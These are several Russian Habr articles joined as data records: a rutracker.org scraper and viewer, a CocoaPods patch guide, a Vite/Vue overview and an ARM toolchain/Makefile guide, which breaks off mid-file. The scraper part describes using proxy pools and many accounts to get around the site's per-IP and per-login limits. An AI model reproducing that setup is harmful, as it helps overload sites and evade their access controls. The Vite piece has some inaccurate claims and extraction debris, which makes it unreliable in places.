----------
Сейчас каждую неделю в App Store проверяется 100 000 новых приложений и обновлений. И 40% из них отклоняют по самым разным причинам. Очень сложно пробиться в App Store без единого реджекта, особенно с подписками. Однако если вы будете соблюдать наши советы, то ваши шансы пройти проверку с первого раза сильно возрастут.
> Хотите внедрить подписки в iOS-приложение за 10 минут? Интегрируйте [Apphud](https://apphud.com/h) и:
>
> * оформляйте покупки с помощью лишь одного метода;
> * автоматически отслеживайте состояние подписки каждого пользователя;
> * легко интегрируйте Subscription Offers;
> * отправляйте события о подписках в Amplitude, Mixpanel, Slack и Telegram с учетом локальной валюты пользователя;
> * уменьшайте Churn rate в приложениях и возвращайте отписавшихся пользователей.
>
>
>
>
Что почитать?
-------------
* [Руководство по Apple Subscriptions Notifications для iOS. Так ли они хороши на самом деле?](https://habr.com/ru/post/453770/)
* [Руководство по вводным предложениям (Introductory Offers) в iOS](https://habr.com/ru/post/453514/)
* [7 вещей об авто-возобновляемых подписках, о которых следует знать](https://habr.com/ru/post/453442/) | https://habr.com/ru/post/455443/ | null | ru | null |
# Оффлайн база rutracker с описаниями раздач и возможость поиска по категориям
Популярные в последнее время слухи о блокировке торрент-трекеров ([или уже не слухи?](https://geektimes.ru/post/269592/)) побудили меня написать свой парсер для сайта rutracker.org. В данной статье я опишу опции для скрипта, выходные данные. Также прилагается просмотрщик с возможность поиска по категориям, и база раздач с описаниями от 16.01.2016.
Зачем?
------
1. На момент начала работы над скриптом, rutracker еще не [выкладывал](http://rutracker.org/forum/viewtopic.php?t=4824458) свою базу.
2. В данной базе присутствуют описания раздач.
3. [Похожая статья](https://habrahabr.ru/post/195454/) была на хабре в 2013 году, но к сожалению, данная база ни разу не обновилась после публикации, а последнее обновление [репозитория](https://bitbucket.org/ratnik/dump_viewer) было 16.01.2014 года.
4. Это мое первое большое приложение на python, что позволило познакомиться со множеством интересных возможностей языка, начиная от распараллеливания задач и заканчивая компиляцией бинарника под windows.
Пример запуска скрипта для зеркалирования сайта
-----------------------------------------------
python3 ./[loader.py](https://github.com/strayge/rutracker_parser/blob/master/loader.py) --ids 0000001 5160000 --threads 200 --qsize 25 --resume
### Описание параметров
| Опция | Описание |
| --- | --- |
| --ids 0000001 0001000 | качает раздачи в указанном диапазоне |
| --ids\_file file\_with\_ids.txt | берет номера раздач для скачивания из указанного файла |
| --ids\_ignore old\_finish.txt | исключает из закачки раздачи, которых нет в указанном файле (например, можно пропустить те номера, которых не было при прошлой закачке) |
| --random | скачивать раздачи в случайном порядке |
| --threads 100 | число потоков для скачивания |
| --proxy\_file proxy.txt | файл с socks5 прокси (по умолчанию — proxy.txt) |
| --login\_file login.txt | файл с логинами к сайту (по умолчанию — login.txt) |
| --resume | продолжить предыдущую закачку (игнорировать раздачи из файла finished.txt) |
| --print | вместе с опцией resume выведет количество скачанных/не скачанных раздач и завершает работу программы |
| --folder descriptions | указывает название директории, куда будут сохраняться описания раздач (по умолчанию — descr) |
| --qsize 20 | максимальная величина очереди для скачивания (по умолчанию — 30) |
### Описания вспомогательных текстовых файлов
#### Формат файла с логинами к сайту
username1 password1
username2 password2
Примечание: Дата изменения раздачи зависит от часового пояса, установленного в профиле.
#### Формат файла с прокси
127.0.0.1 8080
127.0.0.1 8081
### В процессе работы
Номера скачанных или не существующих раздач записываются в файл finished.txt. Лог выводится параллельно в консоль и в файл log.txt. Cookie пишутся в temp\_cookies.txt, для сохранения между сессиями.
### Описание результата
В файле table.txt сохраняется информация о раздачах (за исключением описаний). Для каждой раздачи сохраняются (разделитель — \t):
* Идентификатор
* Название раздачи
* Размер (в байтах)
* Количество сидов
* Количество пиров
* Хэш
* Количество скачиваний
* Дата создания
* Категория, включая все подкатегории (разделитель – “ | “)
Пример:
`4130425 Mark Lutz/Марк Лутц - Изучаем Python, 4-е издание [2011, PDF, RUS] 12799942 390 9 B507A45DA54ED5EED13221B16E2030DF789A235F 46455 28-08-12 11:28 Книги и журналы | Компьютерная литература | Программирование`
Описания раздач сохраняются в отдельные файлы в папку descr (или указанную опцией --folder), в поддиректорию по первым трем цифрам номера раздачи.
Например, описание раздачи 04893221 сохранится в descr\048\04893221.
Основные проблемы, которые возникали при создании скрипта
---------------------------------------------------------
1. Ограничения сайта на 1 логин и на 1 IP-адрес, в конечном итоге самое простое решение – одновременно использовать IP и логин только в одном потоке.
2. Модуль multiprocessing для создания потока использует системный вызов fork, который копирует текущий процесс. Соответственно, если сначала читаются все конфиги, строится список на закачку, то процесс кушает более 50 Мб памяти и все потомки получаются такими же тяжелыми. Решение – сначала создать пулл процессов, а только затем читать конфиги.
3. На разным страницах одна и та же информация о раздаче может быть представлена в немного разных видах в исходном коде. Решение – при появлении ошибок вручную вносил дополнительные варианты в скрипт.
4. Работа с сетевым стеком, в особенности, если использовать непроверенные прокси-серверы, может давать кучу всевозможных ошибок. При большом количестве ошибок с одного прокси – он блокируется, если страница получена с ошибкой – она добавляется в конец очереди, для повторной загрузки.
5. Множество всевозможных ошибок при написании многопроцессорного приложения. Наиболее действенным методом отладки стало логгирование всего и вся с различными уровнями отображения.
6. При создании просмотрщика главной проблемой стал поиск по раздачам. Полнотекстовый поиск в MySQL отказался искать по части слова (только по полному совпадению). Полной перебор слишком долог. Текущий компромисс – список отсортирован по числу сидов, поиск выполняется последовательно, до нахождения заданного количества результатов.
Просмотрщик
-----------
Для просмотра сохраненной базы и поиска по раздачам написан просмотрщик с использованием PyQt5. Для работы необходим файл table\_sorted.tar.bz2, который содержит текстовый файл table\_sorted.txt (table.txt, отсортированный по число сидов). Для конвертации можно использовать [данный скрипт](https://github.com/strayge/rutracker_parser/blob/master/sort.py).
Также (опционально) можно положить рядом со скриптом директорию descr, в которой будут лежать заархивированные описания раздач. Я паковал [этим скриптом](https://github.com/strayge/rutracker_parser/blob/master/pack.sh).
Пример структуры директорий и архивов:
```
descr/000/00000.tar.bz2
descr/000/00001.tar.bz2
…
descr/000/00099.tar.bz2
descr/001/00100.tar.bz2
descr/001/00101.tar.bz2
…
descr/001/00199.tar.bz2
…
```
Внешний вид просмотрщика показан на КДПВ.
### Опции для поиска
1. Минус перед словом для исключения раздач с ним из выдачи.
2. limit:5 для задания ограничения результатов, после нахождения которых прекращается поиск (по умолчанию – 20).
3. В правом поле можно ввести слова для поиска в наименовании категории.
Двойной клик по хэшу копирует магнет-ссылку с ним в буфер обмена.
### Требования
python3-pyqt5, python3-pyqt5.qtwebkit
### Установка
[Скрипт](https://github.com/strayge/rutracker_parser/blob/master/viewer.py) для python3.
Скомпилированный бинарник для Windows: [Mega.nz](https://mega.nz/#!QsQSmDbA!OOtbFDdKhpuqW7Un06u0nW63i-yFAKUQt9SnCGLyllw) (30 Мб) (включая все необходимые библиотеки).
База по состоянию на 16.01.2016
-------------------------------
Файл с основной информацией о раздачах, отсортированный по количеству сидов: [Mega.nz](https://mega.nz/#!w1pB2DKZ!8_tU4Kq9R61FTDPXTXf8L796vQTnMAiRhCR4W6kmemI) (118 Мб).
Описания раздач (распаковать в папку с просмотрщиком): [Mega.nz](https://mega.nz/#!llwH1QKZ!5JgoOIkhlMjWuIEbhVoC0k1zS19FvkcTsP-0zh812Zc) (2.06 Гб).
Любая критика по коду приветствуется.
В дальнейшем есть задумка добавить в просмотрщик поддержку libtorrent и получить возможность просматривать содержимое раздач/стримить их в проигрыватель.
Также у меня есть сохраненная база от июня 2014 года (без категорий) и от июля 2015 года (с категориями), если есть пожелания, могу посчитать какую-нибудь статистику по изменениям между этими срезами.
Исходники скриптов выложены на [github](https://github.com/strayge/rutracker_parser). | https://habr.com/ru/post/357530/ | null | ru | null |
# Делаем патч для Pods библиотеки
Приветствую друзья на связи автор телеграм канала [ReactNative - info](http://t.me/react_native_info), недавно столкнулся с одной интересной проблемой, сборка архива для iOS приложения постоянно завершалась такой ошибкой:
```
error: Abort trap: 6 (in target 'iOSPhotoEditor' from project 'Pods')
```
В то время как локальные сборки на эмуляторы и устройства собирались корректно.
Проблема оказалась в файле *CropView.swift который лежал в*директории*Pods*, нужно было подкорректировать один блок *if(),*заменив в нем *вызов функции* `UI_USER_INTERFACE_IDIOM()`на `UIDevice.current.userInterfaceIdiom`*.*
После этих правок архив собрался успешно, но эти изменения нужно было как-то сохранить, иначе после повторной установки подов их там уже не будет.
На GitHub давно висит issue с этой ошибкой и фиксом на нее, делать новый pull request смысла нет. Создавать свой форк и заливать его на GitHub/CocoaPods показалось бессмысленно ради одной строчки кода. Пришел к выводу что нужно сделать локальный патч который бы применялся после каждой установки *подов.*
Итак, приступим. Полазив на просторах Google нашел утилиту которая выполняет всю рутину за вас, но у меня ее запустить так и не удалось, но на всякий случай оставлю ссылку ([cocoapods-patch](https://github.com/DoubleSymmetry/cocoapods-patch)).
Также есть второй минус у этого инструмента, его нужно будет установить всем разработчикам в вашем проекте, способ ниже позволит избежать этого.
Для начала необходимо сгенерировать *diff* изменений в проблемном файле. Чтобы это сделать необходимо дублировать наш файл и сделать в нем необходимые правки. Новый файл я назвал *CropViewPatched.swift.*
Далее из папки iOS проекта в терминале я выполнил следущую команду:
```
git diff -u ./Pods/iOSPhotoEditor/Photo\ Editor/Photo\ Editor/CropView.swift ./Pods/iOSPhotoEditor/Photo\ Editor/Photo\ Editor/CropViewPatched.swift > iOSPhotoEditor.patch
```
Давайте разберемся что тут происходит:
* параметр `-u`генерирует diff патч;
* вторым аргументом идет путь к оригинальному файлу `CropView.swift`*;*
* третьим аргументом идет путь к измененному файлу `CropViewPatched.swift`*;*
* *далее идет такая конструкция*`> iOSPhotoEditor.patch` она позволяет сохранить полученный diff изменений в файл *iOSPhotoEditor.patch*в той директории откуда вы запустили данную команду;
Полученный файл (*iOSPhotoEditor.patch*) будет выглядеть примерно так:
iOSPhotoEditor.patchДалее в папке iOS я создал папку *patches* чтобы в дальнейшем хранить там все патчи если это потребуется и поместил туда полученный *iOSPhotoEditor.patch.*
Остался финальный шаг, необходимо найти в вашем *Podfile* секцию `post_install`
```
post_install do |installer|
...
end
```
Если таковой нет то создайте ее в конце вашего файла. Обратите внимание на то что данная секция может быть **только** **одна в вашем Podfile**.
Теперь в конце этой секции необходимо вставить следующую инструкцию:
```
post_install do |installer|
...
puts '🟢 Патчим iOSPhotoEditor'
%x(patch './Pods/iOSPhotoEditor/Photo\ Editor/Photo\ Editor/CropView.swift' < './patches/iOSPhotoEditor.patch')
end
```
Давайте разберемся что тут происходит:
* `puts`–позволяет нам вывести лог при выполнении команды *pod install*
* с помощью `%x(...)` можно выполнить какую-либо *shell* команду вашем *Podfile.*
* `patch` – применяет полученный патч файл к проблемому файлу
* вторым аргументом для patch идет путь к проблемному файлу относительно вашего *Podfile* (обратите внимание на то что путь взят в одинарные кавычки и перед пробельным символом стоит `\`)
* третьим аргументом после `<` идет путь к вашему патч файлу относительно вашего *Podfile*
Вот и все, теперь после выполнения команды `pod install` к вашему проблемному файлу будет применятся ваш патч.
Желаю всем удачных патчей. | https://habr.com/ru/post/664316/ | null | ru | null |
# Vite.js и Vue.js
Я нашёл только 3 статьи по Vite.js на Хабр, там были некие обзоры функционала и описание фишек данного .
Хорошо, тогда вопрос, что же это за инструмент такой и в чем преимущества использовать его при разработке? Если мы зайдем на официальный сайт - то здесь выделяется 6 основных фишек:
Первая особенность здесь, это то что у нас сразу же есть хороший нативный запуск сервера. Второй особенностью является Hot Module Replacement (HMR) - что позволяет приложению не занимать много пространства. Третья особенность - это поддержка TypeScript’a, JSX, SaSS, CSS ну и многих других ещё языков или инструментов для разработки.
Четвертой особенностью является оптимизированный build приложения, то есть когда вы уже собираете само приложение для рабочего сервера - то оно уже оптимизированное. Пятой особенностью являются универсальные плагины, которые используются в разных средах разработки dev и build. и последняя особенность, это гибкие API которые поддерживают полностью TypeScript.
Звучит все это очень круто, но надо посмотреть как все это выглядит изнутри. Этот инструмент многое нам обещает и сейчас мы увидим правда ли это.
Установка
---------
Окей, начнём пожалуй из установки. Как же нам создать новое приложение которое будет в себе использовать Vue вместе с Vite.js? Сначала нам нужно инициализировать новое приложение с помощью следующей npm команды:
```
npm init vite@latest
```
После ввода этой команды запуститься генератор нового приложения которое будет в себе использовать Vite, и впервую очередь что у нас он спросит - это то как мы хотим назвать наше приложение:
В моем случае мое приложение будет называться vite-app, и после этого нам нужно будет выбрать какой фреймворк мы хотим использовать - и здесь я выберу Vue:
Окей, после выбора что мы хотим использовать Vue - нас спрашивает хотим ли мы использовать в нашем новом приложении TypeScript вместе с Vue:
Я выбираю обычный vue - и как раз уже после этого наше новое приложение будет создано:
Остается только перейти в папку проекта, запустить npm install и уже после этого запустить локальный сервер. Поэтому переходим и запускаем npm install.
И вот у меня уже все установилось, и мы можем запустить локальный сервер с помощью команды npm run dev - и посмотреть как выглядит страница по-умолчанию создана в новом Vue приложении с Vite:
Вот мы и получаем - что наше приложение успешно сгенерировано с самой новой версий Vue и Vite. Сразу же здесь получаем что рекомендовано использовать VSCode + Volar. Что ж, теперь когда новое приложение у нас полностью создано - можно переходить к рассмотрению функционала и что вообще можно будет делать.
Структура приложения
--------------------
Думаю можно начать с самого простого - и это рассмотреть из чего все таки состоит структура директорий только что сгенерированного приложения.
И что мы тут видим? Значит первая директория подготовлена для того чтобы мы использовали Visual Code. Дальше идёт стандартно node\_modules со всемя библиотеками. Потом папка public в которой размещаются публичные файлы, такие например как favicon, какие-то изображения и т.п.
Ну и в самом конце папка src - где мы и размещаем код нашего приложения. Здесь и хранятся компоненты, css и js файлы. Можете также здесь увидеть файл vite.config.js - и как понятно из названия, то это файл конфигурации Vite.js в нашем приложении. Если мы его откроем, то увидим следующее:
```
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'
// https://vitejs.dev/config/
export default defineConfig({
plugins: [vue()]
})
```
Как раз и можно увидеть експорт конфигурации приложения, и в объекте есть свойство plugins - через которое мы можем подключать плагины (например vue router). Хорошо, а теперь давайте откроем папку src, и посмотрим какое-то там содержимое уже по-умолчанию:
```
import { ref } from 'vue'
defineProps({
msg: String
})
const count = ref(0)
{{ msg }}
=========
Recommended IDE setup:
[VSCode](https://code.visualstudio.com/)
+
[Volar](https://github.com/johnsoncodehk/volar)
[Vite Documentation](https://vitejs.dev/guide/features.html)
|
[Vue 3 Documentation](https://v3.vuejs.org/)
count is: {{ count }}
Edit
`components/HelloWorld.vue` to test hot module replacement.
a {
color: #42b983;
}
```
Сразу же замечаем интересное объявление компонента, которое сильно отличается от стандартного в Vue приложениях. Также обратите внимание, то как именно задаются props’ы для компонента - через использование функции defineProps() и создание новой переменной count. Это все конечно круто, но мы пришли сюда осмотреть сам функционал данного инструмента. Поэтому сейчас перейдем к следующей части.
HMR (Hot Module Replacement)
----------------------------
Вспомним о том как говорилось что в Vite.js есть поддержка некого HMR, что и позволяет делать так чтобы приложение занимало мало пространства. В чем же все это проявляется? Мы только что с вами обратили внимание на то, как именно идёт создание нового компонента в Vite.js - и это называется Vue Single File Components, особенность которая нам и поставляется с Vue плагином.
Думаю из названия уже понятно, что это создание одиночных Vue компонентов в простой форме, ведь вы сами видели то, что для объявления компонента не нужно вообще писать export default и что все переменные можно сразу же создавать в теге .</p><p>Но это не все что из себя представляет данная фишка Vite.js, если мы забежим в документацию - то можем увидеть что для данного плагина существует отдельная страница - с описанием его API:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload\_files/4f4/0de/25b/4f40de25b168f1212ce00f6f54eb43bb.png" width="2048" height="1280" data-src="https://habrastorage.org/getpro/habr/upload\_files/4f4/0de/25b/4f40de25b168f1212ce00f6f54eb43bb.png"/><figcaption></figcaption></figure><p>Поскольку мы сюда пришли чтобы рассмотреть функционал вместе с Vue - то мы сразу же придумываем где этим можно будет воспользоваться в рамках нашего фреймворка.</p><pre><code class="xml"><script setup>
import { ref } from 'vue'
import { foo } from './foo.js' // Импортируем нашу функцию
if (import.meta.hot) { // Делаем подгрузку нашей функции в качестве модуля
import.meta.hot.accept('./foo.js', (newFoo) => {
// Сначала мы принимаем наш модуль, а после чего
// создав новый экземпляр вызываем функцию foo()
newFoo.foo()
// Кстати в этой callback функции можно и написать другой код
// в случае успешного импорта модуля/функции
})
}
Test Hot Module Replacement
===========================
Окей, вопрос, а что мы только сделали? То есть у нас есть просто функция которая находиться в файле foo.js и мы импортируем её, после этого мы вызываем её с помощью создания нового экземпляра модуля. Что вообще позволяет вот эта структура HMR?
А здесь уже и появляется фишка - что мы можем просто брать и получать таким образом сразу же обновления из модуля через функцию accept(). Круто, но это если мы хотим использовать уже как-то вручную HMR, ведь по умолчанию HMR уже работает и давайте я сейчас немножко расскажу о том - как именно.
Представим что у нас грузиться какая-то страница в нашем приложении которое использует Vite.js, у нас есть импорт разного рода модулей на той же странице. Что с ними происходит в тот момент?
Благодаря тому что Vite конвертирует весь этот CommonJS код в ESM - то в свою очередь уже улучшается скорость страницы. Делается это конечно же с помощью [esbuild](https://esbuild.github.io/) - и благодаря этому наш Vite.js получает реально очень большую скорость. Второе что происходит - это то что идёт перезапись url адресов импорта модулей /node\_modules/.vite/foo.js?v=f3sf2ebd - что позволяет приложению импортировать эти модули нужным образом.
Vue и JSX
---------
Vite.js имеет в себе уже плагины которые позволяют использоваться JSX в своем Vue коде. Одним из таких плагинов является [@vitejs/plugin-vue-jsx](https://github.com/vitejs/vite/tree/main/packages/plugin-vue-jsx):
По-умолчанию этот плагин не подключен в vite.config.js - но мы это можем исправить, для начала давайте установим его с помощью npm:
```
npm install @vitejs/plugin-vue-jsx
```
И после этого давайте его импортируем в списке плагинов в файле vite.config.js:
```
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'
import vueJsx from '@vitejs/plugin-vue-jsx'
// https://vitejs.dev/config/
export default defineConfig({
plugins: [vue(), vueJsx()]
})
```
Круто, теперь мы имеем подключенный VueJSX. И что нам это даёт? А вот что, теперь мы можем создавать JSX компоненты и использовать своем приложении. Представим сначала что у нас будет файл foo.jsx - и в нем мы разместим код какого-то просто компонента:
```
import { defineComponent } from 'vue'
const Foo = defineComponent({ render() { return This is Foo component with JSX }})
export { Foo }
```
После этого мы можем взять этот компонент и импортировать его себе в обычный Vue компонент:
```
import { ref } from 'vue'
import { Foo } from './foo.jsx'
Test Hot Module Replacement
===========================
```
И это как раз и была та фишка где говорилось об JSX? Да, но это ещё не все, ведь мы можем также подключать CSS пре-процессоры.
Vite и CSS пре-процессоры
-------------------------
Представим что я хочу использовать Sass в своем приложении, и что тогда мне нужно сделать? В первую очередь конечно же установить его с помощью npm:
```
npm install -D sass
```
Круто, мы его установили, и что дальше? Давайте попробуем конечно же им воспользоваться в каком-то компоненте, для начала создадим файл main.scss в папке assets:
```
.testing__sass {
h1 {
color: red;
}
}
```
И после этого подключим этот файл в какой-то компонент:
```
import { ref } from 'vue'
import { Foo } from './foo.jsx'
import '../assets/main.scss'
Test Hot Module Replacement
===========================
```
И если я теперь перейду на локальный сервер - то увижу следующее:
Да, здесь никакой магии не было - по сути мы просто установили пре-процессор и с легкостью его подключили.
Оптимизация в Vite.js
---------------------
Переходим к последнему, и это как раз таки процесс оптимизации в Vite.js. Понятное дело что Vite делает минимизацию всего написанного нами CSS и JS кода с помощью esbuild. Но как работает это именно?
Код разбивается на некие чанки, которые подгружаются асинхронно - но в результате идёт процесс слияния этих чанков в один оптимизированный common. Ну, это если кратко говорить как это работает, но оптимизации могу сказать что использования esbuild уже достаточно - что и делает приложение быстрым.
Итог сказанного
---------------
В этой статье я конечно же не пытался что-то построить прям в стиле "А давайте создадим целый огромный блог - и распишем статью на 30 страниц", здесь был именно краткий обзор Vite.js + Vue. Надеюсь что это было помогло людям которые планируют использовать Vite.js и Vue.js вместе. Это уже даст какое-то понимание как все здесь устроено. На этом я завершаю статью, и в скором времени напишу ещё что-то о Vue. | https://habr.com/ru/post/580064/ | null | ru | null |
# Настройка ToolChain(а) для Win10+GCC+С+Makefile+ARM Cortex-Mx+GDB+Jenkins
Настройка Toolchain(а) для сборки артефактов под STM32. x86-64, Win, Eclipse, GCC, Make, GDB, ST-LinkV2
В этом тексте я расскажу какой путь проходят исходники с момента написания до момента исполнения на микроконтроллере и как сварить прошивку. Также прокопаю тему как настроить ToolChain из бесплатных утилит. В этом тексте я покажу на что следует обратить внимание при запуске первого проекта на ARM Cortex-M чипах. Этот текст, в сущности, пояснение того, что происходит под капотом большинства IDE (IAR, Keil, CodeComposerStudio и пр.). Можете читать это как курс молодого ~~боевика~~ бойца.
**Что же мне потребуется накатить на свой NetTop для разработки под STM32?**
Вот список утилит с которыми скорее всего предстоит столкнуться при разработке прошивок для чипов STM32**.**
| | |
| --- | --- |
| **Программа/Утилита** | **Назначение** |
| STM32 ST-LINK Utility.exе | GUI прошивальщик по SWD/JTAG |
| ST-LINK\_CLI.exe | CLI прошивальщик по SWD/JTAG |
| Putty /TeraTerm/HTerm | Терминалы Serial порта |
| STM Studio | Отрисовывать графики переменных из ячеек RAM памяти |
| Cygwin | Набор Unix утилит для Windows |
| pdf reader | браузер PDF файлов с документацией |
| python | интерпретатор языка Python |
| Cppcheck | Статический анализатор кода |
| git-bash.exe | Система управления версиями исходных кодов + удобны Unix CLI терминал |
| WinMerge | Сравнение текстовых файлов с подсветкой |
| ST-LINK\_gdbserver.exe | Отладочный сервер |
| WinRAR | распаковка архивов с документацией от вендора |
| GNU Tools ARM Embedded | Компилятор для ARM |
| Atollic TrueStudio | Набор утилит |
| Tor Browser | Web Browser для скачивания утилит и документации из санкционных территорий |
| Jenkins | Сервер сборки артефактов |
| hexdump /hexedit | просмотрщик бинарных файлов |
| grep | поиск подстрок в кодовой базе |
| find | поиск файла в файловой системе по регулярному выражению для его имени |
| STM32CubeMX | Генератор базового кода с примерами |
| clang format | автоматические выравнивание отступов |
| Notepad++ | вспомогательный текстовый редактор специально для коммит сообщений |
| Eclipse IDE for C/C++ Developers | текстовый редактор |
Фаза 1. Установка текстового редактора
--------------------------------------
Так как любая программа это прежде всего текст, то надо установить какой-нибудь текстовый редактор.
Предлагаю **Eclipse IDE for C/C++ Developers** так как у него весьма удобные HotKeys. Для **ускорения** написания кода.
Плюс в Eclipse приятное синее выделение.
Еще Eclipse мгновенно запускается. Как по мне качество текстового редактора определяется тем как часто вам приходится пользоваться **мышкой**. В хорошем текстовом редакторе мышка вообще не нужна. Eclipse один из таких текстовых редакторов.
Установить Eclipse IDE for C/C++ Developers можно отсюда
https://www.eclipse.org/downloads/packages/
Установка заключается в распаковке скаченного архива в удобное место. В ОС Windows можно устанавливать Eclipse в корень диска С.
Программа запускается с помощью исполняемого файла **eclipse.exe**, который находится в распакованной папке.
При первом запуске Eclipse надо выбрать рабочую папку (workspace). В этой папке Eclipse будет по умолчанию создавать проекты.
#### Настройка проекта в Eclipse
Настройки текстового редактора содержатся в файлах .project, .cproject. Важно снять галочку с пункта Makefile generation. В поле Build location прописать относительный путь к папке, которая содержит Makefile.
Настроить параллельную сборку чтобы ускорить цикл ToolChain(а). Это делается во вкладке Behavior
После этого инициировать сборки можно горячей клавишей Ctrl+B.
Фаза 2. Накатывание ToolChain(а) GCC под ARM для Cross компиляции на Win10
--------------------------------------------------------------------------
Нужен ToolChain: препроцессор (cpp), компилятор ASM(as), компилятор С (gcc),компилятор С++(g++), компоновщик(ld), отладчик(gdb). Нужны binutils(ы) для диагностики полученных артефактов(nm, size, readelf), архиватор статических библиотек(ar), и прочее. Это основные утилиты, которые и делают всю работу по превращению исходников (\*.с, \*.h) в артефакты (\*.hex \*.bin \*.map \*.elf \*.out файлики).
ToolChain следует брать с официального сайта
<https://developer.arm.com/downloads/-/gnu-rm#:~:text=The%20GNU%20Arm%20Embedded%20Toolchain,Arm%20Cortex%2DR%20processor%20families>.
Toolchain устанавливается как обычная win программа прямо из **gcc-arm-none-eabi-10.3-2021.10-win32.exe** файла
Проверка, что установилось. Вот полный комплект GCC ARM. Всего 32 утилиты.
Как же make файл узнает, что нужен именно этот toolchain? Ведь их может быть установлено несколько в разные папки. Ответ прост. Надо прописать адрес toolchain в переменной Path. А старый путь просто дропнуть.
и тут
Каждый свой шаг надо проверять. Как проверить, что терминал cmd находит ToolChain? Откройте cmd из любой папки и наберите arm-none-eabi-gcc.exe –v
Версия должна отобразиться в соответствии с версией скаченного дистрибутива. ToolChain может находится примерно по такому адресу:
```
C:\Program Files (x86)\GNU ARM Embedded Toolchain\10 2021.10\bin\
```
Фаза 3. Установка Windows Build Tools binaries (Make, cp, rm, echo, sh...)
--------------------------------------------------------------------------
Самый классический способ сборки программ на С(ях) это, конечно же, Make файлы. Не перестаю удивляться насколько элегантна сборка программ из make. В 1970е года когда появились утилита make программировали только настоящие ученые со степенями докторов наук. Тогда у школоты как сейчас банально не было персональных компьютеров из-за дороговизны DeskTop(ов). В 197x программировали по настоящему достойные люди. Поэтому и появились такие утилиты-шедевры как **make**, **grep**, **find**, **sort** и прочее. Благодаря Make файлам можно управлять модульностью сборок программных компонентов по-полной. Мгновенно, одной строчкой включать и исключать сотни файлов одновременно для сотен сборок. Это даже не снилось таким GUI(ням) как IAR с Keil, где приходится протирать дыры в коврике для мышки, чтобы сделать то, что в make делается одной строчкой в \*.mk файлике.
Сейчас среди российских программистов микроконтроллеров make файлами умеет пользоваться в лучшем случае один из шести. Остальные не могут слезть с иглы GUI-IDE. Сборка прошивок из make это считается высшим пилотаже программирования на С(ях).
Вот минимальный набор утилит для процессинга Make файлов.
| | |
| --- | --- |
| **Утилита** | **Назначение** |
| make | build automation tool |
| sh | Unix shell interpreter |
| busybox | a software suite that provides several Unix utilities |
| echo | Echo the STRING(s) to standard output. |
| cp | Copy SOURCEs to DEST |
| mkdir | Create DIRECTORY |
| rm | Remove (unlink) FILEs |
Где же мне взять **универсальный** Makefile для сборки много-файловых проектов? Самое простое это воспользоваться код-генератором STM32CubeMX и сгенерировать MakeFile проект.
Далее аккуратно раздербанить его под общую кодовую базу. Получается вот такой файл с правилами.
```
mkfile_path := $(abspath $(lastword $(MAKEFILE_LIST)))
$(info Build $(mkfile_path) )
BUILD_DIR = build
#@echo $(error SOURCES_C= $(SOURCES_C))
INCDIR := $(subst /cygdrive/c/,C:/, $(INCDIR))
#@echo $(error INCDIR=$(INCDIR))
SOURCES_C := $(subst /cygdrive/c/,C:/, $(SOURCES_C))
#@echo $(error SOURCES_C=$(SOURCES_C))
SOURCES_ASM := $(subst /cygdrive/c/,C:/, $(SOURCES_ASM))
LDSCRIPT := $(subst /cygdrive/c/,C:/, $(LDSCRIPT))
#@echo $(error SOURCES_ASM=$(SOURCES_ASM))
# binaries
PREFIX = arm-none-eabi-
# The gcc compiler bin path can be either defined in make command via GCC_PATH variable (> make GCC_PATH=xxx)
# either it can be added to the PATH environment variable.
ifdef GCC_PATH
CC = $(GCC_PATH)/$(PREFIX)gcc
AS = $(GCC_PATH)/$(PREFIX)gcc -x assembler-with-cpp
CP = $(GCC_PATH)/$(PREFIX)objcopy
SZ = $(GCC_PATH)/$(PREFIX)size
else
CC = $(PREFIX)gcc
AS = $(PREFIX)gcc -x assembler-with-cpp
CP = $(PREFIX)objcopy
SZ = $(PREFIX)size
endif
HEX = $(CP) -O ihex
BIN = $(CP) -O binary -S
# CFLAGS
#https://gcc.gnu.org/onlinedocs/gcc/ARM-Options.html
FPU =
FPU += -mfpu=fpv4-sp-d16
FLOAT-ABI = -mfloat-abi=hard
MCU = $(CPU) -mthumb $(FPU) $(FLOAT-ABI)
CSTANDARD = -std=c11
AS_DEFS =
AS_INCLUDES =
OPT += -Os
ifeq ($(DEBUG), Y)
#@echo $(error DEBUG=$(DEBUG))
CFLAGS += -g3 -gdwarf-2 -ggdb
endif
ASFLAGS = $(MCU) $(AS_DEFS) $(AS_INCLUDES) $(OPT) -Wall -fdata-sections -ffunction-sections
CFLAGS += $(MCU) $(OPT) $(INCDIR) -Wall -fdata-sections -ffunction-sections $(CSTANDARD)
# Generate dependency information
CFLAGS += -MMD -MP -MF"$(@:%.o=%.d)"
# LDFLAGS
# libraries
LINKER_FLAGS += -Xlinker --gc-sections
ifeq ($(MBR), Y)
#@echo $(error MBR=$(MBR))
LIBS += -lnosys
else
LIBS += -lnosys
LINKER_FLAGS += -u _scanf_float
LINKER_FLAGS += -u _printf_float
endif
ifeq ($(LIBC), Y)
#@echo $(error LIBC=$(LIBC))
LIBS += -lc
endif
ifeq ($(MATH), Y)
#@echo $(error MATH=$(MATH))
LIBS += -lm
endif
#@echo $(error LDSCRIPT=$(LDSCRIPT))
LIBDIR =
LDFLAGS += $(MCU) -specs=nano.specs -T$(LDSCRIPT) $(LIBDIR) $(LIBS) -Wl,-Map=$(BUILD_DIR)/$(TARGET).map,--cref -Wl,--gc-sections $(LINKER_FLAGS)
# default action: build all
all: $(BUILD_DIR)/$(TARGET).elf $(BUILD_DIR)/$(TARGET).hex $(BUILD_DIR)/$(TARGET).bin
# build the application
# list of objects
OBJECTS = $(addprefix $(BUILD_DIR)/,$(notdir $(SOURCES_C:.c=.o)))
vpath %.c $(sort $(dir $(SOURCES_C)))
# list of ASM program objects
OBJECTS += $(addprefix $(BUILD_DIR)/,$(notdir $(SOURCES_ASM:.S=.o)))
vpath %.S $(sort $(dir $(SOURCES_ASM)))
$(BUILD_DIR)/%.o: %.c Makefile | $(BUILD_DIR)
$(CC) -c $(CFLAGS) -Wa,-a,-ad,-alms=$(BUILD_DIR)/$(notdir $(<:.c=.lst)) $< -o $@
$(BUILD_DIR)/%.o: %.S Makefile | $(BUILD_DIR)
$(AS) -c $(CFLAGS) $< -o $@
$(BUILD_DIR)/$(TARGET).elf: $(OBJECTS) Makefile
$(CC) $(OBJECTS) $(LDFLAGS) -o $@
$(SZ) $@
$(BUILD_DIR)/%.hex: $(BUILD_DIR)/%.elf | $(BUILD_DIR)
$(HEX) $< $@
